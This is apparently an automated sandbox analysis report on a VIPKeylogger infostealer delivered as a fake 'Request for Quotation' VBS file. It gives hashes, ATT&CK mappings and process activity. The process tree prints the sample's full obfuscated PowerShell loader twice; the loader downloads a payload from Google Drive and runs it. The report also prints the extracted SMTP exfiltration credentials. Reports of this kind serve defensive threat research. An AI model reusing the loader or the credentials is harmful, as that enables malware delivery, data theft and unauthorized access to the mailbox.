vipkeylogger | d5d4fab81408eb3fcceeaebae060cc5d1d275139c52f17659998325fd5b7a76b

General

Target

Request for Quotation_MYMRT.vbs
Size

33KB
MD5

f61450af7a076afae98ccd4c8d6b8184
SHA1

4fa061cf9880257caaf3208f4963df4461a3cb56
SHA256

d5d4fab81408eb3fcceeaebae060cc5d1d275139c52f17659998325fd5b7a76b
SHA512

925fa6cc8e2db1c850780627610de88f612a20c5945154dcb68f603b3ea3430a68962533e310daa5d1d158e14fb0ca2ed4be2b2f5ec92e45c97a7975e750ca31
SSDEEP

384:G7O2zToyVATbhB2DxCjbb89g8PhQX71nUK8g7qBfQXa:GrIyM7XfeZQLVugI

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.jacopopacchioni.com
Port:
587
Username:
[email protected]
Password:
Ct2mZ=B-7tCC2019

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.jacopopacchioni.com
Port:
587
Username:
[email protected]
Password:
Ct2mZ=B-7tCC2019
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 13 IoCs

flow	pid	Process
2	1148	WScript.exe
20	2260	powershell.exe
22	2260	powershell.exe
30	1988	msiexec.exe
32	1988	msiexec.exe
36	1988	msiexec.exe
38	1988	msiexec.exe
42	1988	msiexec.exe
53	1988	msiexec.exe
55	1988	msiexec.exe
59	1988	msiexec.exe
62	1988	msiexec.exe
64	1988	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2260	powershell.exe
3360	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
30	drive.google.com
19	drive.google.com
20	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
52	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1988	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3360	powershell.exe
1988	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2260	powershell.exe
2260	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
1988	msiexec.exe
1988	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3360	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	1988	msiexec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 2260	1148	WScript.exe	86
PID 1148 wrote to memory of 2260	1148	WScript.exe	86
PID 3360 wrote to memory of 1988	3360	powershell.exe	97
PID 3360 wrote to memory of 1988	3360	powershell.exe	97
PID 3360 wrote to memory of 1988	3360	powershell.exe	97
PID 3360 wrote to memory of 1988	3360	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Quotation_MYMRT.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Overjealously Henblikkets Prearrangement Tidmangelen #>;$kookeree='Desensitize';<#Umisforstaaeligheds Kludged Edingtonite Funktionskort #>; function Unclogs($Ruskregne){If ($host.DebuggerEnabled) {$Approximatenfold++;}$voice=$Flittiglisernes+$Ruskregne.'Length' - $Approximatenfold; for ( $Approximate=5;$Approximate -lt $voice;$Approximate+=6){$Benedicerendes=$Approximate;$Hittite44+=$Ruskregne[$Approximate];}$Hittite44;}function Stormagtskonflikten($Bolstederne){ .($Popsanger) ($Bolstederne);}$Domesticeringernes=Unclogs ' ,dskMFatheoSpritzResoriHalfwlStavelAnem aMult./S rud ';$Gttevrkets=Unclogs 'U sagTKeratlDoce scale 1Rntge2hilbo ';$Kalaset='O,cip[MelleNSpidsEjellyt Cont. Lgstsarb,jE V inrDubitVPhil,IBacchcF turET matPTestaoEpiphiSch,dNBostyTwhipsMsteapACephanPoseraDulc GVarifePsychrCheva]no el:outsm: MdeasKasseeBetr.cRed.cuCapitr EneriMik,oTEkspoYSvovlPTemper SansoSu.faT Kne OEsc iC H deo scutlDecim=,elon$Blythg NatstS verTOmkrsEBiosyvBac frno arkPurliEOph,lTledelsBookn ';$Domesticeringernes+=Unclogs 'Grade5Subma. Divi0Frdig Slidd(For,eWForfliC.urnnPartidArgumoUdkrewRu,insBasia NeddmN.hickTfluid kramm1Overf0Philo. Frai0Stude;Hauss .ikarW tymi ChrinRaadv6Eunuc4Bulim; cod. HypopxFinan6Overm4Sort.; Besh G.thrLactevArkit:T.ipo1Longi3 Obs,1Nonva.Stalw0 Proc) Le n NonprGHistoe Di pcBrandkCrescoSubat/Pol r2 Thre0Sixer1Firef0Hepto0For.k1 b il0Jaghi1Bibli GwineFTyvstiUntu.r ContePelobf I teoSavlexPeddi/ awn1Dukke3 Befr1Morti.S ing0Azotu ';$Skolemnds=Unclogs 'M crouPrio SGytasEFo ieRPro i-UforgaDcth GGaardE Eft,nAfghaTPosse ';$Balletdanseren=Unclogs 'Rrfl h ,ivitM.noctIndbapLan is,onis:purve/Idiod/Unde,d HvesrElektidiss v ResteTr,gl. Su cgUnaddoInt.roregulg KalilCityte Tame.Fis,ecEraseoakrosm B,dr/ bankuQuatecExurb? romaeMun,mx FolkpOutjuoIronhrBarogtAjo.r=Freied AwayoStartwDupernOntogl StraoOpsiga Sancd Rise& Pha.i Mor d sra=Fulds1 KrobFDrmmeitopfoselain2F,rgim ssasc Curp5GenneDRentehMar pl SkrilfacunXunwa wKalunQ ToroKTypo,s scorURes,wYEcb,ltOmplaP LivsY ,istbHydroq TeksnRgerlEgooro_.rkitn Beg,2 ServxHypohXEj ct9 ,estPApote ';$Adead=Unclogs 'Sweaz>Abrup ';$Popsanger=Unclogs 'YdelsIPolypESkiffXRclam ';$Bregnerdderne238='Prveballons229';$Riverwise='\precompelling.Wit';Stormagtskonflikten (Unclogs 'Zooli$ TestG Irr.L.ntieo tupebNi,roA brndLCerio:FryseuLaa.tNI dbia FlyvtP osetKommuEAer fnArchau HaplALinjeT VulgeJ,rdldObtru=Hacie$ProbleApathNTre lVSeign:CreneAThixlPUdsulPAppendRetn AHirplTImpasADovek+T ven$ScoutRAspa i.ninnVScenaeSoelvrpagenw nsuiIMooras HeltEDecar ');Stormagtskonflikten (Unclogs ' G wd$ Yoemg Sab l lokpoBit ebDatarADhalsLMulti:NondeADosisfSpillbCondyaalfedRHeltakFriseEEriabDO.ontEBroho=Sikk $End.cBIlliqA DbesL icrolRetsiEMaal.tSqua dMilieaSam en fnyssAnlacEDimwirPara.EunshrN Nabo.Dec mSAntipPAlkohlSkabaIInarcTAut n( Diss$ThromAHeapeDWanteeS.rabaRectod A ar)Fngse ');Stormagtskonflikten (Unclogs $Kalaset);$Balletdanseren=$Afbarkede[0];$Pseudoprophetic=(Unclogs 'Coeva$SydligStraiLLanciO BlambankarAun.erl Ruf.:Sa ttf.aemorOrigiAAr,anTMilzbR OuttILaypecChe oE Blo,l .linlNskedIFir b= MatzNMa ieEBerbeWForud-En ocoRefraBNewtsJin.elEPinloCSekstT N.ns Sel rsSnarey Melos ShibtEliz eRedesMTaple.CrystNAlte eStag TDisso.LobelWTrje.eVaarebKanticArbejlGyngeiLighte rub.n Pr.ftGru d ');Stormagtskonflikten ($Pseudoprophetic);Stormagtskonflikten (Unclogs 'Bagfl$SnkelFKaukarEpidiaSpalat ynkrMimediTartrcIllureAsi.hlFaultlRese iForkt.AmoraH .ndieAbsina LestdBiaseeFaderr .edisI.dgr[Hegni$BoolsS.nletk AfproBillelSkylleNominmIntranDrueadBugvgsUmb s]Caskt=Fonot$MnstrDPiet oVandrmOrkese f,rss Sodet rippiUncomcPotfue varsrWardriSelvfnG ynhg Garve des rStraan nadjeOpmars esin ');$Kraplak=Unclogs 'Indkr$GjedoF.ismurThoraaSerfdtSessirForboiIndtac nedbePlo tlV derlCoanniStuvn.Fngs,DSaluboGe erwdisfanOpverlRipenoslee a MicrdAp erFZ.gonireboilFo eseBelre(udsa $ DelvBrefleaPurublKonfolFremgePrambtHorisdGrunda nhann Ma.tsRhymieFornyr.ortreTortunNeu o,Stem,$bankeM Usaai Tr,akNonocr Bundoconvuf proliFove lH.moem HereesarcenSka.psUnamu)advis ';$Mikrofilmens=$Unattenuated;Stormagtskonflikten (Unclogs 'Nierf$spiraGspayrlSluknOMul tB SnorADagsal Angu: ProtSAd okvIndusIUtopiNBit ee egnesUn.tiT ichIRappoereconRPol g=kon e(DensaTAdduceBahanSKlkniTSprog-TjrehP tora.lueftEndeghAntip ,oret$CoracMst vaiPostmKv ldlRImpeto GideF ,erriPersoLOprrsm CresEIn,ekNen lesCourt) tild ');while (!$Svinestier) {Stormagtskonflikten (Unclogs 'Ursic$ GammgFiftyl Re do elfabNonnoaGermal Pros:Ma.kiRkonsteS lsogHalvfoRenrirUsknngImpe e iewpdUnder=Rudol$KalmytlystfrBorogubere.eMac o ') ;Stormagtskonflikten $Kraplak;Stormagtskonflikten (Unclogs 'FreonS arnsTCzechaEuropROutfiTForep-Grundshok.dLDenitEAblooeMaccaP Ex a ,usin4humin ');Stormagtskonflikten (Unclogs 'Micro$automgSodaklIn,tiO PostBBulltASt knlForso: S.orSA,thoVKilobiSalpeN pfolEOft nSMicr T ekski DomseN,kesrMyxop= Sti (H antTHa meEJa ovs Peept Coff- .ntipSpgelARe naTBr chHOr,de ytho$TygniM S.eei eripKMadeiRpreglo HypeF WatcI Neb LFogedMOrnamEgtternIg,ngsAstig)Debou ') ;Stormagtskonflikten (Unclogs ' Do n$A poiGRu inLBoendOSlskiB Stemasl sklDybs :MajesfForrauSikk LRoll dAgatibDe roEOecisfGysenA A,boR Bl gE ContN LettTHirsc=B yba$ nglugP ytylFord OWrathBTypolA ProslWooll:De asNA.svioBlennn.pholIAnmelNLystpTMollieS imiRRepinpOverloDeducl AnanAKbestt B.adiQuartO AiglNYdels+ arpa+Forfl% Basi$Un laASpn ifJordfBNephraSkattRsporskdoorhEArterDAli ne Octi. GenrCMutatOOmf ruSulevnBotrytK.mme ') ;$Balletdanseren=$Afbarkede[$Fuldbefarent];}$Peroxyl=312718;$Ruskendes254=32260;Stormagtskonflikten (Unclogs ' Cent$BourdgD nnilHundeOFribbbCombiA MiniLEcorc:Ar,hrC HowieLimstn ofretA.staR HedganymphlAnon,B E,vaif lmbB nstilSubliI upploReg ltLea.lE Hebek ThanEE,ecttStykesFolli Komm= Aftr ComptGVu cae TripT bayo-Nse ocretraoBagbun isketUndereBehovnSemifTDisti Ensi$Glas.MUklarISlutsKForanrAstr,OTr prf enhoiMorsiLArkivmPrizeeFootsn SurisKonto ');Stormagtskonflikten (Unclogs 'Stats$FinangCheirl Me co Fredb,arabaDyrkel C lh: A,idENervsf FlavfMiliteBrnehk Obclt Trsku FugleDenimr SpliiKakaonS ibsgKompaeC rrur Over Toil= Krem Ops e[ C anSOffenyAfruns,eignt PiraeAtlasm Raa . isquCGodkeoVejrmn enervUncites,ruerColont ,iks]Troub:Zoili:BichrFMononrSterso M slmuntunBEscheaBrug.sTypoge nva6Fyrre4Lsr.vSsh,pstPlantrCentii Ank n.kramgFordr(sepia$NisnaCDiadeeNummenKickotRecovrWou daSq irltastebCu geiKlippbreincl lamiPohapoFuturt T igeKisbokDeareeVer etLoesssSpott)Limit ');Stormagtskonflikten (Unclogs ' Drmm$GstelG,emogLformtO On.dbAllocaInko lUnder:Zar.bF AartoDithir EskaKBew tANyquiManl sr Sel EN.tli Hudor=Genda Spild[O.dstSsjlssySubliSAttertRegieE Ka sMTrisi. Tarwt.bscaeAdatjX MeriTChrem.MajusE livenPakkeC OpleO B ngdSelvhIN rmaNBar egIm.ib]Annui:Klaus:ChairajerimSSmergcHyperiSgnedIUdbaa. KdkrG BreveReinttant pSMatemT ksperPlagiISem nNV gnrGAirst( rebo$ ZapoEBe aafMa daFStemnEDis gkTilriT tudiU LulleSkaltrDomm.i,ommenGodviGF emve YndeR Un c)F,sto ');Stormagtskonflikten (Unclogs 'Sats $HavagG nmanlSpit,op ilaB TilsAMeasolAnati:,lommTGen ea OggaR,orilA olignBredstJagtrIInsi SlimnotZo,el=For a$StlndFCit ooTrep,RSociakObseraHjre,mKla lRRetroE,arke.Fejltssailou traBhjdedSNett TF,rderge,ati DecanDiskegTjr e(Velou$.unctpSemi E KaolrMockfOPrewexMinigY JungLReimb,Unsta$ hylarPo ssUChainSUnchrkbl,kdeDiagnNExactdCa.loeScunnS Read2Ind.s5Imper4Re ni)C,rat ');Stormagtskonflikten $Tarantist;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Overjealously Henblikkets Prearrangement Tidmangelen #>;$kookeree='Desensitize';<#Umisforstaaeligheds Kludged Edingtonite Funktionskort #>; function Unclogs($Ruskregne){If ($host.DebuggerEnabled) {$Approximatenfold++;}$voice=$Flittiglisernes+$Ruskregne.'Length' - $Approximatenfold; for ( $Approximate=5;$Approximate -lt $voice;$Approximate+=6){$Benedicerendes=$Approximate;$Hittite44+=$Ruskregne[$Approximate];}$Hittite44;}function Stormagtskonflikten($Bolstederne){ .($Popsanger) ($Bolstederne);}$Domesticeringernes=Unclogs ' ,dskMFatheoSpritzResoriHalfwlStavelAnem aMult./S rud ';$Gttevrkets=Unclogs 'U sagTKeratlDoce scale 1Rntge2hilbo ';$Kalaset='O,cip[MelleNSpidsEjellyt Cont. Lgstsarb,jE V inrDubitVPhil,IBacchcF turET matPTestaoEpiphiSch,dNBostyTwhipsMsteapACephanPoseraDulc GVarifePsychrCheva]no el:outsm: MdeasKasseeBetr.cRed.cuCapitr EneriMik,oTEkspoYSvovlPTemper SansoSu.faT Kne OEsc iC H deo scutlDecim=,elon$Blythg NatstS verTOmkrsEBiosyvBac frno arkPurliEOph,lTledelsBookn ';$Domesticeringernes+=Unclogs 'Grade5Subma. Divi0Frdig Slidd(For,eWForfliC.urnnPartidArgumoUdkrewRu,insBasia NeddmN.hickTfluid kramm1Overf0Philo. Frai0Stude;Hauss .ikarW tymi ChrinRaadv6Eunuc4Bulim; cod. HypopxFinan6Overm4Sort.; Besh G.thrLactevArkit:T.ipo1Longi3 Obs,1Nonva.Stalw0 Proc) Le n NonprGHistoe Di pcBrandkCrescoSubat/Pol r2 Thre0Sixer1Firef0Hepto0For.k1 b il0Jaghi1Bibli GwineFTyvstiUntu.r ContePelobf I teoSavlexPeddi/ awn1Dukke3 Befr1Morti.S ing0Azotu ';$Skolemnds=Unclogs 'M crouPrio SGytasEFo ieRPro i-UforgaDcth GGaardE Eft,nAfghaTPosse ';$Balletdanseren=Unclogs 'Rrfl h ,ivitM.noctIndbapLan is,onis:purve/Idiod/Unde,d HvesrElektidiss v ResteTr,gl. Su cgUnaddoInt.roregulg KalilCityte Tame.Fis,ecEraseoakrosm B,dr/ bankuQuatecExurb? romaeMun,mx FolkpOutjuoIronhrBarogtAjo.r=Freied AwayoStartwDupernOntogl StraoOpsiga Sancd Rise& Pha.i Mor d sra=Fulds1 KrobFDrmmeitopfoselain2F,rgim ssasc Curp5GenneDRentehMar pl SkrilfacunXunwa wKalunQ ToroKTypo,s scorURes,wYEcb,ltOmplaP LivsY ,istbHydroq TeksnRgerlEgooro_.rkitn Beg,2 ServxHypohXEj ct9 ,estPApote ';$Adead=Unclogs 'Sweaz>Abrup ';$Popsanger=Unclogs 'YdelsIPolypESkiffXRclam ';$Bregnerdderne238='Prveballons229';$Riverwise='\precompelling.Wit';Stormagtskonflikten (Unclogs 'Zooli$ TestG Irr.L.ntieo tupebNi,roA brndLCerio:FryseuLaa.tNI dbia FlyvtP osetKommuEAer fnArchau HaplALinjeT VulgeJ,rdldObtru=Hacie$ProbleApathNTre lVSeign:CreneAThixlPUdsulPAppendRetn AHirplTImpasADovek+T ven$ScoutRAspa i.ninnVScenaeSoelvrpagenw nsuiIMooras HeltEDecar ');Stormagtskonflikten (Unclogs ' G wd$ Yoemg Sab l lokpoBit ebDatarADhalsLMulti:NondeADosisfSpillbCondyaalfedRHeltakFriseEEriabDO.ontEBroho=Sikk $End.cBIlliqA DbesL icrolRetsiEMaal.tSqua dMilieaSam en fnyssAnlacEDimwirPara.EunshrN Nabo.Dec mSAntipPAlkohlSkabaIInarcTAut n( Diss$ThromAHeapeDWanteeS.rabaRectod A ar)Fngse ');Stormagtskonflikten (Unclogs $Kalaset);$Balletdanseren=$Afbarkede[0];$Pseudoprophetic=(Unclogs 'Coeva$SydligStraiLLanciO BlambankarAun.erl Ruf.:Sa ttf.aemorOrigiAAr,anTMilzbR OuttILaypecChe oE Blo,l .linlNskedIFir b= MatzNMa ieEBerbeWForud-En ocoRefraBNewtsJin.elEPinloCSekstT N.ns Sel rsSnarey Melos ShibtEliz eRedesMTaple.CrystNAlte eStag TDisso.LobelWTrje.eVaarebKanticArbejlGyngeiLighte rub.n Pr.ftGru d ');Stormagtskonflikten ($Pseudoprophetic);Stormagtskonflikten (Unclogs 'Bagfl$SnkelFKaukarEpidiaSpalat ynkrMimediTartrcIllureAsi.hlFaultlRese iForkt.AmoraH .ndieAbsina LestdBiaseeFaderr .edisI.dgr[Hegni$BoolsS.nletk AfproBillelSkylleNominmIntranDrueadBugvgsUmb s]Caskt=Fonot$MnstrDPiet oVandrmOrkese f,rss Sodet rippiUncomcPotfue varsrWardriSelvfnG ynhg Garve des rStraan nadjeOpmars esin ');$Kraplak=Unclogs 'Indkr$GjedoF.ismurThoraaSerfdtSessirForboiIndtac nedbePlo tlV derlCoanniStuvn.Fngs,DSaluboGe erwdisfanOpverlRipenoslee a MicrdAp erFZ.gonireboilFo eseBelre(udsa $ DelvBrefleaPurublKonfolFremgePrambtHorisdGrunda nhann Ma.tsRhymieFornyr.ortreTortunNeu o,Stem,$bankeM Usaai Tr,akNonocr Bundoconvuf proliFove lH.moem HereesarcenSka.psUnamu)advis ';$Mikrofilmens=$Unattenuated;Stormagtskonflikten (Unclogs 'Nierf$spiraGspayrlSluknOMul tB SnorADagsal Angu: ProtSAd okvIndusIUtopiNBit ee egnesUn.tiT ichIRappoereconRPol g=kon e(DensaTAdduceBahanSKlkniTSprog-TjrehP tora.lueftEndeghAntip ,oret$CoracMst vaiPostmKv ldlRImpeto GideF ,erriPersoLOprrsm CresEIn,ekNen lesCourt) tild ');while (!$Svinestier) {Stormagtskonflikten (Unclogs 'Ursic$ GammgFiftyl Re do elfabNonnoaGermal Pros:Ma.kiRkonsteS lsogHalvfoRenrirUsknngImpe e iewpdUnder=Rudol$KalmytlystfrBorogubere.eMac o ') ;Stormagtskonflikten $Kraplak;Stormagtskonflikten (Unclogs 'FreonS arnsTCzechaEuropROutfiTForep-Grundshok.dLDenitEAblooeMaccaP Ex a ,usin4humin ');Stormagtskonflikten (Unclogs 'Micro$automgSodaklIn,tiO PostBBulltASt knlForso: S.orSA,thoVKilobiSalpeN pfolEOft nSMicr T ekski DomseN,kesrMyxop= Sti (H antTHa meEJa ovs Peept Coff- .ntipSpgelARe naTBr chHOr,de ytho$TygniM S.eei eripKMadeiRpreglo HypeF WatcI Neb LFogedMOrnamEgtternIg,ngsAstig)Debou ') ;Stormagtskonflikten (Unclogs ' Do n$A poiGRu inLBoendOSlskiB Stemasl sklDybs :MajesfForrauSikk LRoll dAgatibDe roEOecisfGysenA A,boR Bl gE ContN LettTHirsc=B yba$ nglugP ytylFord OWrathBTypolA ProslWooll:De asNA.svioBlennn.pholIAnmelNLystpTMollieS imiRRepinpOverloDeducl AnanAKbestt B.adiQuartO AiglNYdels+ arpa+Forfl% Basi$Un laASpn ifJordfBNephraSkattRsporskdoorhEArterDAli ne Octi. GenrCMutatOOmf ruSulevnBotrytK.mme ') ;$Balletdanseren=$Afbarkede[$Fuldbefarent];}$Peroxyl=312718;$Ruskendes254=32260;Stormagtskonflikten (Unclogs ' Cent$BourdgD nnilHundeOFribbbCombiA MiniLEcorc:Ar,hrC HowieLimstn ofretA.staR HedganymphlAnon,B E,vaif lmbB nstilSubliI upploReg ltLea.lE Hebek ThanEE,ecttStykesFolli Komm= Aftr ComptGVu cae TripT bayo-Nse ocretraoBagbun isketUndereBehovnSemifTDisti Ensi$Glas.MUklarISlutsKForanrAstr,OTr prf enhoiMorsiLArkivmPrizeeFootsn SurisKonto ');Stormagtskonflikten (Unclogs 'Stats$FinangCheirl Me co Fredb,arabaDyrkel C lh: A,idENervsf FlavfMiliteBrnehk Obclt Trsku FugleDenimr SpliiKakaonS ibsgKompaeC rrur Over Toil= Krem Ops e[ C anSOffenyAfruns,eignt PiraeAtlasm Raa . isquCGodkeoVejrmn enervUncites,ruerColont ,iks]Troub:Zoili:BichrFMononrSterso M slmuntunBEscheaBrug.sTypoge nva6Fyrre4Lsr.vSsh,pstPlantrCentii Ank n.kramgFordr(sepia$NisnaCDiadeeNummenKickotRecovrWou daSq irltastebCu geiKlippbreincl lamiPohapoFuturt T igeKisbokDeareeVer etLoesssSpott)Limit ');Stormagtskonflikten (Unclogs ' Drmm$GstelG,emogLformtO On.dbAllocaInko lUnder:Zar.bF AartoDithir EskaKBew tANyquiManl sr Sel EN.tli Hudor=Genda Spild[O.dstSsjlssySubliSAttertRegieE Ka sMTrisi. Tarwt.bscaeAdatjX MeriTChrem.MajusE livenPakkeC OpleO B ngdSelvhIN rmaNBar egIm.ib]Annui:Klaus:ChairajerimSSmergcHyperiSgnedIUdbaa. KdkrG BreveReinttant pSMatemT ksperPlagiISem nNV gnrGAirst( rebo$ ZapoEBe aafMa daFStemnEDis gkTilriT tudiU LulleSkaltrDomm.i,ommenGodviGF emve YndeR Un c)F,sto ');Stormagtskonflikten (Unclogs 'Sats $HavagG nmanlSpit,op ilaB TilsAMeasolAnati:,lommTGen ea OggaR,orilA olignBredstJagtrIInsi SlimnotZo,el=For a$StlndFCit ooTrep,RSociakObseraHjre,mKla lRRetroE,arke.Fejltssailou traBhjdedSNett TF,rderge,ati DecanDiskegTjr e(Velou$.unctpSemi E KaolrMockfOPrewexMinigY JungLReimb,Unsta$ hylarPo ssUChainSUnchrkbl,kdeDiagnNExactdCa.loeScunnS Read2Ind.s5Imper4Re ni)C,rat ');Stormagtskonflikten $Tarantist;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_umszbdh5.ngz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\precompelling.Wit

Filesize
449KB

MD5
121104fabf2ff99a0b51a39ef26be7a0

SHA1
2bfe2c2ecb97fc48c7d0819cbbceccdb65e0acd7

SHA256
ca1195af4e1d3e7014c66dc288f54119cae1d3e69e10c8617ab69d7b9f2fab85

SHA512
c95db7463111bd67979c92f70ac94bc5441983c32cbbf959807edb6c2f9a94ee7bc3154e179b419d486e173428589e22123d78bc949a5e2f63077f54cf4b3b8e

Download Submit
memory/1988-67-0x0000000023820000-0x0000000023D4C000-memory.dmp

Filesize
5.2MB

Download
memory/1988-62-0x0000000000A00000-0x0000000000A4A000-memory.dmp

Filesize
296KB

Download
memory/1988-61-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/1988-63-0x00000000223F0000-0x000000002248C000-memory.dmp

Filesize
624KB

Download
memory/1988-65-0x0000000023120000-0x00000000232E2000-memory.dmp

Filesize
1.8MB

Download
memory/1988-66-0x00000000228A0000-0x00000000228F0000-memory.dmp

Filesize
320KB

Download
memory/1988-71-0x000000001FEC0000-0x000000001FECA000-memory.dmp

Filesize
40KB

Download
memory/1988-70-0x0000000022FF0000-0x0000000023082000-memory.dmp

Filesize
584KB

Download
memory/2260-16-0x00007FFE4C2A0000-0x00007FFE4CD61000-memory.dmp

Filesize
10.8MB

Download
memory/2260-4-0x00007FFE4C2A3000-0x00007FFE4C2A5000-memory.dmp

Filesize
8KB

Download
memory/2260-23-0x00007FFE4C2A0000-0x00007FFE4CD61000-memory.dmp

Filesize
10.8MB

Download
memory/2260-20-0x00007FFE4C2A0000-0x00007FFE4CD61000-memory.dmp

Filesize
10.8MB

Download
memory/2260-19-0x00007FFE4C2A3000-0x00007FFE4C2A5000-memory.dmp

Filesize
8KB

Download
memory/2260-15-0x00007FFE4C2A0000-0x00007FFE4CD61000-memory.dmp

Filesize
10.8MB

Download
memory/2260-14-0x000001F35EC80000-0x000001F35ECA2000-memory.dmp

Filesize
136KB

Download
memory/3360-24-0x0000000002C70000-0x0000000002CA6000-memory.dmp

Filesize
216KB

Download
memory/3360-44-0x0000000007830000-0x00000000078C6000-memory.dmp

Filesize
600KB

Download
memory/3360-45-0x00000000077C0000-0x00000000077E2000-memory.dmp

Filesize
136KB

Download
memory/3360-46-0x0000000008A40000-0x0000000008FE4000-memory.dmp

Filesize
5.6MB

Download
